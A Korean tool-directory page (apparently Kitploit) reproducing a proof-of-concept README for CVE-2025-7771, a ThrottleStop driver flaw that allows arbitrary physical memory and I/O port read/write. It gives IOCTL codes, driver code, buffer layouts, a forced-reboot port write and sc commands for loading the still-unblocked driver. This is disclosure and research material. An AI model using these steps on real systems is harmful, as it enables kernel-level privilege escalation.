Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ThrottleStopPoC — CVE-2025-7771: ThrottleStop 드라이버를 통한 임의 물리 메모리 및 I/O 포트 읽기/쓰기 | Kitploit
도구/GitHubGitHub/wqsv/throttlestoppoc
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringHardware SecurityPapers & ResearchRed TeamingBinary Exploitation
GitHubwqsv/throttlestoppoc

ThrottleStopPoC

CVE-2025-7771: ThrottleStop 드라이버를 통한 임의 물리 메모리 및 I/O 포트 읽기/쓰기

저장소 보기
1871년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ThrottleStopPoC

CVE-2025-7771: ThrottleStop 드라이버를 통한 임의 물리 메모리 및 I/O 포트 읽기/쓰기

ThrottleStop은 CPU 스로틀링을 모니터링하고 교정하는 데 사용되는 작은 정상 애플리케이션입니다. 이 애플리케이션에는 이러한 작업을 수행하는 드라이버가 있으며, 대부분 어떠한 종류의 입력 검증도 존재하지 않습니다.

취약한 IOCTL

IOCTL취약점
0x80006498임의 메모리 읽기
0x8000649C임의 메모리 쓰기
0x80006430임의 포트 읽기
0x80006434임의 포트 쓰기

임의 MSR 읽기 및 쓰기도 있는 것으로 보이지만, 작동시키지 못했습니다. 직접 살펴보시기 바랍니다. MSR 읽기는 0x80006448에, 쓰기는 0x8000644C에 있습니다.

작동시키는 데 성공하셨다면, 절차를 설명하는 이슈를 제출해 주세요.


아래에 언급된 모든 IOCTL 호출은 Exploit.c 파일에 구현되어 있습니다.


임의 메모리 읽기

0x80006498 IOCTL은 제공된 임의의 물리 주소를 MmMapIoSpace를 사용하여 커널 공간에 매핑하고, 그로부터 1, 2, 4, 또는 8바이트를 읽습니다. 그런 다음 데이터는 다시 사용자 공간으로 복사됩니다.

이 IOCTL을 트리거하려면, 물리 주소를 입력으로 하고 출력 버퍼 크기를 읽기 크기(1, 2, 4, 또는 8)로 하여 DeviceIoControl을 호출합니다.

드라이버에서 이 IOCTL의 간략화된 코드:

root@kitploit:~
case 0x80006498: {
    size_t readSize = inputBuffer->Size;   // must be 1,2,4,8
    PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
    void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);

    if (mappedAddr) {
        if (readSize == 1)
            *outputBuffer = *(uint8_t*)mappedAddr;
        else if (readSize == 2)
            *(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
        else if (readSize == 4)
            *(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
        else if (readSize == 8)
            *(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;

        MmUnmapIoSpace(mappedAddr, readSize);
    }
}

임의 메모리 쓰기

읽기와 유사하게, 0x8000649C IOCTL은 제공된 물리 주소를 MmMapIoSpace를 사용하여 커널 공간에 매핑하고, 그로부터 1, 2, 4, 또는 8바이트를 읽습니다.

이 IOCTL을 트리거하려면, 다음과 같은 입력 버퍼 레이아웃으로 DeviceIoControl을 호출합니다:

root@kitploit:~
struct {
    ULONGLONG PhysicalAddress;  // 8 bytes
    union {
        BYTE  Value8;
        WORD  Value16;
        DWORD Value32;
        QWORD Value64;
    };
};

입력 버퍼 크기는 쓰기 크기에 따라 8 + (1, 2, 4, 또는 8)이 됩니다.

출력 버퍼와 출력 버퍼 크기는 사용되지 않습니다.

드라이버에서 이 IOCTL의 간략화된 코드:

root@kitploit:~
case 0x8000649C: {
    size_t writeSize = inputBuffer->Size;  // must be 1,2,4,8
    PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
    void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);

    if (mappedAddr) {
        if (writeSize == 1)
            *(uint8_t*)mappedAddr = inputBuffer->Value8;
        else if (writeSize == 2)
            *(uint16_t*)mappedAddr = inputBuffer->Value16;
        else if (writeSize == 4)
            *(uint32_t*)mappedAddr = inputBuffer->Value32;
        else if (writeSize == 8)
            *(uint64_t*)mappedAddr = inputBuffer->Value64;

        MmUnmapIoSpace(mappedAddr, writeSize);
    }
}

임의 포트 읽기

0x80006430 IOCTL은 사용자가 IO 포트를 지정하고 __inbyte, __inword, 또는 __indword를 사용하여 직접 읽을 수 있게 합니다.

입력 버퍼는 USHORT이며, 입력 버퍼 크기는 sizeof(USHORT)여야 합니다.

출력 버퍼는 결과(요청된 크기에 따라 1, 2, 또는 4바이트)를 담게 되며, 출력 크기는 1, 2, 또는 4가 될 수 있습니다.

드라이버에서 이 IOCTL의 간략화된 코드:

root@kitploit:~
case 0x80006430: {
    uint16_t port = inputBuffer->PortNumber;
    uint8_t size  = inputBuffer->AccessSize; // 1, 2, or 4

    if (size == 1)
        *outputBuffer = __inbyte(port);
    else if (size == 2)
        *(uint16_t*)outputBuffer = __inword(port);
    else if (size == 4)
        *(uint32_t*)outputBuffer = __indword(port);
}

임의 포트 쓰기

포트 읽기와 유사하게, 0x80006434 IOCTL은 사용자가 IO 포트를 지정하고 __outbyte, __outword, 또는 __outdword를 사용하여 임의의 값을 쓸 수 있게 합니다. 입력 버퍼 레이아웃은 다음과 같습니다:

root@kitploit:~
struct {
    USHORT PortNumber;
    BYTE   Padding[2];   // alignment
    union {
        BYTE  Value8;
        WORD  Value16;
        DWORD Value32;
    };
};

입력 버퍼 크기는 sizeof(USHORT) + sizeof(Value) (+ 패딩)여야 합니다. 출력 버퍼와 그 크기는 사용되지 않습니다.

드라이버에서 이 IOCTL의 간략화된 코드:

root@kitploit:~
case 0x80006434: {
    uint16_t port = inputBuffer->PortNumber;
    uint8_t size  = inputBuffer->AccessSize; // 1, 2, or 4

    if (size == 1)
        __outbyte(port, inputBuffer->Value8);
    else if (size == 2)
        __outword(port, inputBuffer->Value16);
    else if (size == 4)
        __outdword(port, inputBuffer->Value32);
}

가상 주소를 물리 주소로 변환

이 변환은 문서화되지 않은 API를 사용하여 가상 주소를 물리 주소로 변환하는 기능을 노출하는 정상 커널 모듈인 Superfetch를 악용함으로써 가능합니다. 이에 대한 코드는 vtop.c에 구현되어 있습니다.

빌드

이 프로젝트는 Meson을 사용하여 컴파일할 수 있습니다. 이는 PsInitialSystemProcess를 사용하여 System 프로세스의 EPROCESS 구조체를 확인함으로써 UniqueProcessId 필드를 읽고, 그것이 4인지 검사합니다(Main.c에 구현되어 있으며, 특정 PID의 EPROCESS를 찾는 함수들은 EProcess.c에 구현되어 있습니다). 추가적으로, 사용자에게 시스템을 강제 재시작할 것인지 묻습니다. 이는 포트 0xCF9에 0x0E 값을 씀으로써 가능합니다.

경고: 모든 것은 Windows 11 빌드 24H2에서 테스트되었습니다. EPROCESS 구조체의 오프셋은 여러분의 시스템에서 다를 수 있습니다.

다음 명령으로 프로젝트를 빌드하세요

root@kitploit:~
meson setup build

그러면 build 디렉터리가 생성됩니다. 이제 다음 명령으로 프로젝트를 컴파일하세요

root@kitploit:~
meson compile -C build

드라이버는 저장소의 Drivers 디렉터리에서 사용할 수 있습니다. ThrottleStop 드라이버는 Resource Hacker를 통해 ThrottleStop.exe 프로그램에서 직접 추출할 수 있습니다. x64와 x86 두 개의 드라이버를 찾을 수 있을 것입니다. DriverObject->MajorFunction[14]는 모든 IOCTL이 구현된 디스패치 함수를 보유합니다.

다음을 사용하여 드라이버를 생성하고 시작하세요:

root@kitploit:~
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop

참고 자료

https://github.com/jonomango/superfetch

이 드라이버는 아직 Microsoft 드라이버 차단 목록이나 loldrivers에 추가되지 않았습니다.

도구 다운로드